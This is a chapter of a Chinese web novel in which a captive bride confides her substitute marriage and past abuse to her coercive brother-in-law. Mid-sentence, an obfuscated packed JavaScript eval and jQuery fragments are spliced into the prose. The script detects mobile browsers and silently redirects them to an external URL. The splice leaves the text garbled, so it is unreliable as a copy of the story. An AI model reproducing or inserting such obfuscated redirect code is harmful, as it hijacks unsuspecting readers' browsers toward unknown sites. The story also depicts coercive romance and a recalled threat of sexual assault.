13. 第十三章
作品:《替嫁美人逃跑了》 宁嫣不知沈继为何如此笃定他们一定能平安获救。
他平日里如此自信是因为有底气,身后有沈家作为后盾,但此刻,他们已然成为了砧板上待人宰割的羔羊,他却还是如此,宁嫣根本不能从他的承诺中获得任何的安全感。
空口白话完全不能抚平此刻她心中的恐惧。
哭到没有眼泪,宁嫣坐在地上,双手抱膝,木然地望着前方。
沈继揽住宁嫣的肩膀:“你这么不相信我?”
“不会死,也不会出事,我保证。”
宁嫣没什么反应,连沈继抱她这样的动作,放在过去,即便不反抗不了,她心里也不是心甘情愿的。
但这种时候,她已经麻木了。
人都要死了,计较这些又还有什么意义。
宁嫣突然将脸转向沈继,认真地看着他,许久后,才道:“如果我今日真的死在这里……”
沈继在宁嫣脸上亲了一口,想着自己是不是做得太过火,似乎是真的吓到宁嫣了,正考虑要不要带宁嫣离开。
谁知,宁嫣继续说道:“算了,死就死了吧。”
“反正我也没什么牵挂了。”
沈继没有打断她,安静地听着。
难得的宁嫣愿意对他吐露心声的时刻。
“你知道吗?其实我根本不该嫁给你大哥的。”
沈继不动声色,问了一句:“为什么?”
宁嫣又不说话了。
“这算是临终遗言,这个时候,还有什么不能说的?”
宁嫣想了想,似乎也是,将脸埋进膝盖里,慢吞吞地低声说道:“因为跟你大哥定亲的人根本不是我。”
宁嫣也觉得奇怪,都已经发展到要成亲的这一步,肯定是见过双方长辈了,怎么成亲之日换了个新娘子,他们一家人竟然都没有察觉。
“是吗?”
“你们好像都不知道,难道你大哥以前没有带他的未婚妻跟你们见过面?”
沈继靠在墙上,半阖着眼,抚摸着宁嫣的头发,听着她的‘自白’。
“没见过吧,不记得了。”
宁嫣沉默了一会,对沈继的冷漠又多了几分认识。
即将会成为一家人的人,对他来说,似乎就跟随意一个路人没什么区别,根本入不了他的眼。
这分明与他对外一直维持的形象完全相反。
尽管宁嫣深受沈继的侵扰,但她也不得不承认,沈继在所有人的眼中似乎是任何身份的完美人选。
家世好,相貌佳,就连脾气也是极好,从来没有在人前动过怒,简直是个修养极佳的君子。
做儿子,他协助沈世天将家里的生意打理得井井有条,将沈家的商业版图越做越大,做朋友,他十分慷慨义气,做夫婿,更是万中无一的绝佳选择。
所有人眼中的沈继都是如此。
就连宁榕霜这样平日里把男人玩弄于股掌之中的人也被沈继所迷惑。
若想骗过她,简直是易如反掌。
可,在最开始的时候,他却一点也不遮掩,将自己的阴暗面彻底暴露在她面前。
所谓的好脾气,不过是因为这二十多年来,一直顺风顺水,根本不会有人与他作对,听到他的身份,自然也就恭敬顺从。
至于对普通平民百姓的客气礼貌,也不过是因为他从来不曾把这些人放在眼里。
这些人之于他就像是他用来彰显好脾气的工具。
毕竟他的亲切会被大肆宣扬,也会成为那些人吹嘘与他攀上关系的资本,对着他的时候,大多数人都是极尽谄媚奉承,说几句好话,客气几分,对他来说也并非什么难事。
他有着所谓的好教养,鲜有粗鄙之语,礼节周到,这都是从小培养出来的作为这个阶层的人对外所需要做到的虚伪。
他有脾气吗,当然有。
比一般人大得多,后果更加恐怖。
惹怒他的人,他当下便会不留痕迹地报复回去,招招都是置之死地,不留余地。
对她这样容易拿捏的人,他从来都不会疾言厉色,只不过是看似温柔地逼迫她做所有不愿意的事情。
宁嫣是软弱温吞,但不是傻子。
他为何在她面前不再伪装,不过是因为,他自认为是喜欢她的。
对喜欢的人,他的姿态没有那么高,但一切也还是像恩赐。
“你刚才对姐姐承诺一定会保证她的安全,会带她出去,你会做到吗?”
沈继抬眼,盯着宁嫣,突然笑了下:“你觉得呢?”
“她是真的喜欢你。”
比起对过去那些男人,要真心得多。
“嗯,喜欢我什么?”
“钱和脸,还有她想象中的我,好脾气又温柔,永远周到体贴,送起礼物来也慷慨。”
“你以为我不知道她什么心思?我比你以为的知道得要更多,多得多。”
“她是什么人,我比你更清楚。”
沈继看着宁嫣逐渐难看的脸色,继续道:“我不过随口那么一说。”
“她真的当真了,我也没办法。”
宁嫣脸色苍白,再说不下去。
他的冷血就这么直接坦荡,毫不掩饰。
在他眼里,宁榕霜不过又是一个见钱眼开的女人。
沈继捏着宁嫣小巧的耳垂,似乎扫兴于被无关人打断了先前的对话:“继续说。”
“为什么你不该是我的大嫂?”
宁嫣如何能继续说下去。
方才沈继的话,明里暗里似乎都是一个意思,即使他有能力救宁榕霜,也没那个必要。
更不论如今他们还是自身难保的情况。
宁嫣想到了叔父,心里更加难受。
若宁榕霜真在此地丧命,她也不如死了算了。
独留她一个活着回去,她如何面对叔父他们。
她对宁榕霜说不上多深的感情,但是,叔父在她最困的时候帮了她一把,她不能忘这份恩情。
沈继手上用了力气,宁嫣吃痛,叫出了声。
“你如果再分心的话,宁榕霜可能真的会死在这里。”
宁嫣已经没了什么求生欲,接近自暴自弃,道:“她死了,我也活不下去,我们都死在这里才好。”
“你说什么?”
宁嫣几乎崩溃:“那群人不来,不如你给我一个痛快,死了也好。”
“为了一个名义上的姐姐,你就要死要活?”
“你究竟哪里软弱了。”
“连死都不怕,还会怕什么。”
宁嫣拼命推着沈继的手,大声道:“是。”
“根本都是我一厢情愿,她从来不当我是她的妹妹,也从来不把我当一家人,可是,又能怎么办。”
“除了他们,我根本没有别的亲人,如果不是叔父,我根本都活不到现在。”
“我感激他,又有什么不对,我想跟他们好好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119193|163867||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
相处,我努力讨好她,她让我做什么我就做什么,任她打骂,冷嘲热讽,我能做的都做了,她还是不喜欢我,我能有什么办法。”
“所以,要我代替她出嫁的时候,我虽然不情愿,但是也答应了。”
“因为我觉得至少能证明我不是拖累,我还是有点用处的。”
从爹娘去世后,这三年来,宁嫣见识过了过去从未体会过的人情冷暖。
过去亲热地把她当作亲生女儿的长辈,在听闻她爹娘的死讯后迅速跟她撇清了关系,但那时候,她还没有绝望,因为还有几个长辈帮着她处理了爹娘的后事。
她天真地以为,虽然爹娘离开,她还是有人能依靠的。
可是很快,她就被现实打了一记响亮的耳光。
那群亲戚在她爹娘下葬后的第二日就围住了她,逼问她爹娘留下的东西都去了哪里。
他们已经翻遍整座房子,一点值钱的东西都没有找到。
他们认为,所有的财物都在她手里。
她那时候只有十五岁,面对一群凶神恶煞撕破脸的长辈,她很无助,只会哭着说,什么都没有。
“怎么可能一点钱都没留。”
“你爹娘生前也是做生意的,一点家底都没有?”
宁嫣哭得撕心裂肺,根本说不出话来。
那群人不死心,又把房子翻了一遍,一直轮番逼问她,最后确定已经再没有能搜刮的东西以后,头也不回地离开了,留下她一个人守着空荡荡的屋子哭得上气不接下气。
过了几日,又有人找上门来。
拿着一张模糊不清的借据,逼着她还钱。
她身无分文,只能乞求那人宽限几日。
可是那群人根本就是地痞无赖,见她拿不出钱来,又心生一计,要将她卖到青楼去抵债。
“这个模样,肯定能卖不少钱。”
“还是个雏吧,价钱就更高了。”
“要不哥几个先爽一爽。”
……
回忆到这里,宁嫣当时那种叫天天不应叫地地不灵的绝望无助又涌上心头。
她不敢想,若不是叔父得到消息及时赶到,她又会是怎样的结局。
说到最后,宁嫣已经痛哭起来。
比起那段日子,在江州的这几年里,尽管被当成使唤丫头,做的都是粗活,时常被宁榕霜为难,她却已经很满足了。
见过了人性的恶,期望降低,就不会失望。
听着宁嫣断断续续地将一肚子的心里话倒出来,沈继没有过多的语言,只是搂住她的腰,在她发顶落下一吻。
哭到最后,宁嫣已经意识模糊,胡言乱语起来。
身上一阵冷,一阵热,连呼出的气息都是灼热,眼睛都肿了起来,眼皮变得异常沉重,根本睁不开眼,喉咙也跟有火烧一般,又干又燥,却又不住地打着寒颤。
“不要……”
“没有……什么都没有……”
“别碰我……”
沈继在宁嫣额上试了试,惊人地烫。
夜里转凉,加之宁嫣如此剧烈的情绪起伏,难以避免地着了凉。
只是,沈继没想到,她这一烧,情况会这么严重。
看来是该离开了。
沈继在墙壁上敲了三下,墙后似乎有了动静,他沉声吩咐道:“去找大夫来。”
“顺便把那两人放出来,知道该怎么做吗?”
“明白。”